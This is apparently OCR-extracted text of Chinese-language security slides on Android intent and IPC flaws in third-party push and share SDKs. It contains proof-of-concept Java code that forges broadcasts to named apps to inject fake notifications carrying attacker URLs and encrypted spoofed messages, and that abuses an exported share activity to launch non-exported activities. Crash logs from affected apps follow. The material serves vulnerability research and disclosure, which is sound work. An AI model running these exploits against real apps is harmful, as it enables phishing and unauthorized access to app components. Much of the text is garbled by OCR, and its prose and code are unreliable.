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2.INTENT

AndroidE IPCHZT,

BTF—™IPCERYS, FFAPPAMEIET

B/ FEHE
startActivity()/startService()/bindService()/sendBroadcast()
{EFAActiong,ComponetNameZFigxE BirEHEF
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ANDROIDZ 2 SRR 2 | @
3.8M4wE
Android APPHIEALERL R
-Activity . 5
-Broadcast Receiver ACtIVIty Recelver

-Content Provider
-Service
AndroidManifest.xm|3 {47 8H
BRI FEIEARIINSH/ N FEFAE
BT (SR PR A R Provider Service
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3.84%%

- SHAH
- SHNEHRTERESNAEE
« android:exported=true

« BroadcastManger.registerReceiver()
« A <intent-filter>3&ERIAY, RigkEandroid.export=falsef&R T, EIASH

<receiver android:name="com.xxx.android.pushservice.PushServiceReceiver” android:process=":xxservice_v1" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<l-- . -=>
</intent-filter>
</receiver>
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SDKZ M THRIE
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Provider Service
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Provider Service
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HEIXSDK - A
- BANXHEPF5|IEFAERI—IEHAIReceiver

-  BHAYReceiverERINBERF A& LI
- "BY AREBTWEAO

<receiver android:name="f&H ./ X [fJReceiver" android:enabled="true">
<intent-filter>
<action android:name="cn.xxxxx.android.intent.REGISTRATION" />
<action android:name="cn.xxxxx.android.intent .MESSAGE_RECEIVED" />
<action android:name="cn.xxxxx.android.intent .NOTIFICATION_RECEIVED" />
<action android:name="cn.xxxxx.android.intent.NOTIFICATION OPENED" />
<action android:name="cn.xxxxx.android.intent.CONNECTION" />
<category android:name="f&MNHIIELZ" />
</intent-filter>
</receiver>
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HEIXSDK - A

- HiEESAPP

- EERHEIXSDK - A

- B HReceiver xxxxxCustomerReceiver

- xxxxxCustomerReceiverdfi#iTintenttE NEWE, appHRFIFFiEEUr
- POC

private void test_3rd_push_sdk_J.g=aang(){
Intent i = new Intent(™.@mInterface.ACTION MESSAGE_RECEIVED);
i.setAction( ™y EInterface.ACTION NOTIFICATION_OPENED);
i.setClassName("com. ' .gzmetro”, “com. .gzmetro.broadcastreceiver. uiiCustomerReceiver"”);
Bundle extras = new Bundle();
extras.putString(W=#fInterface.EXTRA_EXTRA, "{\"url\":\"http://m.ssid.com/\", \"title\":\"d=g2@3a=\"}");
i.putExtras(extras);
sendBroadcast(i);
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IsCHRRER XS

HEIXESDK - B

- IBSARPRINSHAIReceiver

S HAYReceiverdfiFxHcom.xxx.android.xxxxx.xxxBaseReceiver

<receiver android:name="com.xxxX.xxdemo.receiver.MessageReceiver"
android:exported="true" >

<intent-filter>

<action android:name="com.xxxxx.android.xxxxx.action.PUSH MESSAGE" />

<action android:name="com.xxxxX.android.xxxxx.action.FEEDBACK" />
</intent-filter>

</receiver>
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- com.xxxxx.android.xxxxx. xxxBaseReceiverh & B pushiEE
- TRIGEBERSANE, AppAHHIRE, RERERTERES

- SDKRFE—MINETSE, WEEERXINETSE, SNEREERITINE
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public abstract class W ABaseReceiver
a
extends BroadcastReceiver $ com

{ a $ "mc e

public static final int SUCCESS = @;
I : . 4 3 android
public final void onReceive(Context paramContext, Intent paramIntent)

{ ‘$-.J

if ((paramContext != null) && (paramIntent != null)) {

try 4 £ encrypt
{ .
if (t.a(paramContext) > @) { 4 G Rundael
return; .« o
} @ <int>
String str = paramintent.getAction(); ; .
_i: ("com.d @ nit.android. .action.PUSH_MESSAGE".equals(str))} { @ decrypt,
a(paramContext, paramlIntent); et
} else if (“com.ys=yw==  android. .action.FEEDBACK".equals(str)) { ® encrypt
b(paramContext, paramlntent);
} else {
com. hanpamt . android. 2.3 .1 (" WPushMessage”, “FHfJaction:" + str);
}
}
& ol _/ Th [ % u-:rA [ Y —

String str = paramIntent.getStringExtral"content™);
str = Rijndael.decrypt(str);

?
}
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- XXEHREXR

- ERTHEESDK - B, N7 St EIReceiver

- WEEEBETAASDKFRIIERLE, MEEEHEXER
- FFASHAIReceiversf HFIEEA]

- POC

private void test_3rd_push_sdk_+ ge(){
String msg = "sa&+szTR. Faehttp://www. beids . com/Gz=";
long iii = (long)(Math.random() * 1000) + 10;
String a = "{\"title\": \"qwe\", \"content\":\"" + msg +"\"}";
Log.e("sniperhg", a+iii);
String content = Rijndael.encrypt(a);

Intent i = new Intent("com .android. ", .action.PUSH_MESSA(

i.setClassName("com wgran.app”, "com wwdan.app. ¥
i.putExtra("accId”, iii + 12);

i.putExtra("content”, content);

i.putExtra("msgId"”, iii);

i.putExtra("busiMsgId”, iii+2);

i.putExtra("type"”, Long.valueOf("2"));

sendBroadcast(i);
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IsCHRRER XS

SESDK - A

- SDKe7EESHAYACtivity, XxShareXxXxxxxActivity
- BRANFRHRENAHRER, RERKEEZGHEEBH
- EREMNATSIN LIRS, SAUnEEEFABACtivity

<act1v1ty
< android:name="com & “& W .sdk.share.® Share" = VActivity"
android:configChanges="keyboardHidden|orientation"
android:launchMode="singleTask"
android:theme="@android:style/Theme.Translucent.NoTitleBar" >
<intent-filter>

<action android:name="com. ) ».sdk.action.ACTION_SDK;BEQ_STORY" >

<category android:name="android.intent.category.DEFAULT" />
| </intent-filter>
</activity>
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- XxShareXxXxxxxActivity izl Intent{E N\FZHTE8
- RERWERT, BEANFFRIESActivityNameH TR F

- EZpuRAEContextsiFAstartActivity[SaActivityNametgEActivity

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (savedInstanceState != null) {
try {

this.callbackActivity = savedInstanceState.getString( “Constants.S
} catch (Exception e) {
1

#START_ACTIVITY);

J
} else {
thi4.callbackActivity = getIntent().getStringExtra( EUnstants/ghARE_START_ACTIVITY);|

if (TextUtils.isEmpty(this.callbackActivity)) {
finish();
return;

\

Storyﬂessase storyMessage = null;

try

storyMessage = (StoryMessage) getIntEnt().getParce}sﬁ‘EEx{ra(Msg.STORY); I

} CETTW (EXCEpTION =27 1
¥

initview();
gotoSave(storyMessage);
} else {
setCallbackActivity(2);
1
H

}

[ERO TRUST SECURITY

s

private void setCallbackActivity(int resultCode) {

if (this.rootLayout != null) {
this.rootlLayout.setVisibility(8);

}

try {
Intent intent = new Intent();
intent.putExtra(Response.ERRCODE, resultCode);
intent.setFlags(131072);
intent.setClassName(this, this.callbackActivity);
startActivity(intent);

} catch (Exception e) {
LogUtil.v("w= sdk", e.toString());

1

J

finish();
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FFE1 - BREERS

PackageManager packageManager = getPackageManager();
try {

PackageInfo packageInfo = packageManager.getPackageInfo(TARGET_PKG, PackageManager.GET_ACTIVITIES);

ActivityInfo[] activityInfos = packagelnfo.activities;
for (ActivityInfo item : activityInfos) {
if (!item.exported) {
mComponentList.add(item.name);
}
}
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();

}

public void test (){
AL Sarae
String curActivityName = mComponentList.get(index);
Intent pocIntent = new Intent();
pocIntent.setClassName( TARGET_PKG, _ACT);
pocIntent.putExtra("startActivity”, curActivityName);
startActivity(pocIntent);
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java.la

at
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at
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[ERO
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- IBAEAIRSS

SR 71ZSDKAIN AR, 90% +FE1Zin)
ERAXERNE BAA, HZIRREEm

I"EfflEiE

RiBER ,

&iT,

XCEPTION main

com.sankuai. ., PID: 4650

ng.NullPointerException

com.sankuai .pay.buy.CouponBuyActivity.a(CouponBuyActivity.java:170)
com.sankuai . . pay.buy.CouponBuyActivity$2.run(CouponBuyActivity.java:134)

android.os.Handler.handleCallback(Hand! i )
android.os.Handler.dispatchMessage(! ] 15)
android.os.Looper.loop( ja 136)

android.app.ActivityThread. nazn(ActzvztyThread java:5001)
java.lang.reflect.Method. invokeNative(Native Method) <1 internal calls>
com.android.internal.os.Zygotelnit$MethodAndArgsCaller.run(Zygotelnit.java:785)
com.android.internal.os.Zygotelnit.main(Zygotelnit.java:601)

de.robv.android.xposed.XposedBridge.main(XposedBridge.java:132)
Aaluilk cvetam NativeaStarnt mainflNativa Mathad)

TRUST SECURIT

java.la
at
at
at
at
at
at
at
at
at
at
at

E/AndroidRuntime: FATAL EXCEPTION: main
Process:

( -, e\
Isc) | (&)
2018 .//\‘é’
ISCHRRES XS S0 MMESHO
RV
com. .searchbox, PID: 3913
ng.RuntimeException: Unable to start activity ComponentInfo{com. .searchbox/com. i.browser.webapps . WebAppsCc dDispatchA

android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2184)
android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2233)
android.app.ActivityThread.access$800(ActivityThread.java:135)
android.app.ActivityThread$H. handleMessage(ActlvltyThread java:1196)
android.os.Handler. dlspatchMessage( ler.java:102)

android.os.Looper.loop(Lc a 6

android.app. ActlvxtyThread n(Act ityThread.java:5001)
java.lang.reflect.Method.invokeNative(Native Method) <1 internal calls>
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:785)
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:601)
de.robv.android.xposed.XposedBridge.main(XposedBridge.java:132)
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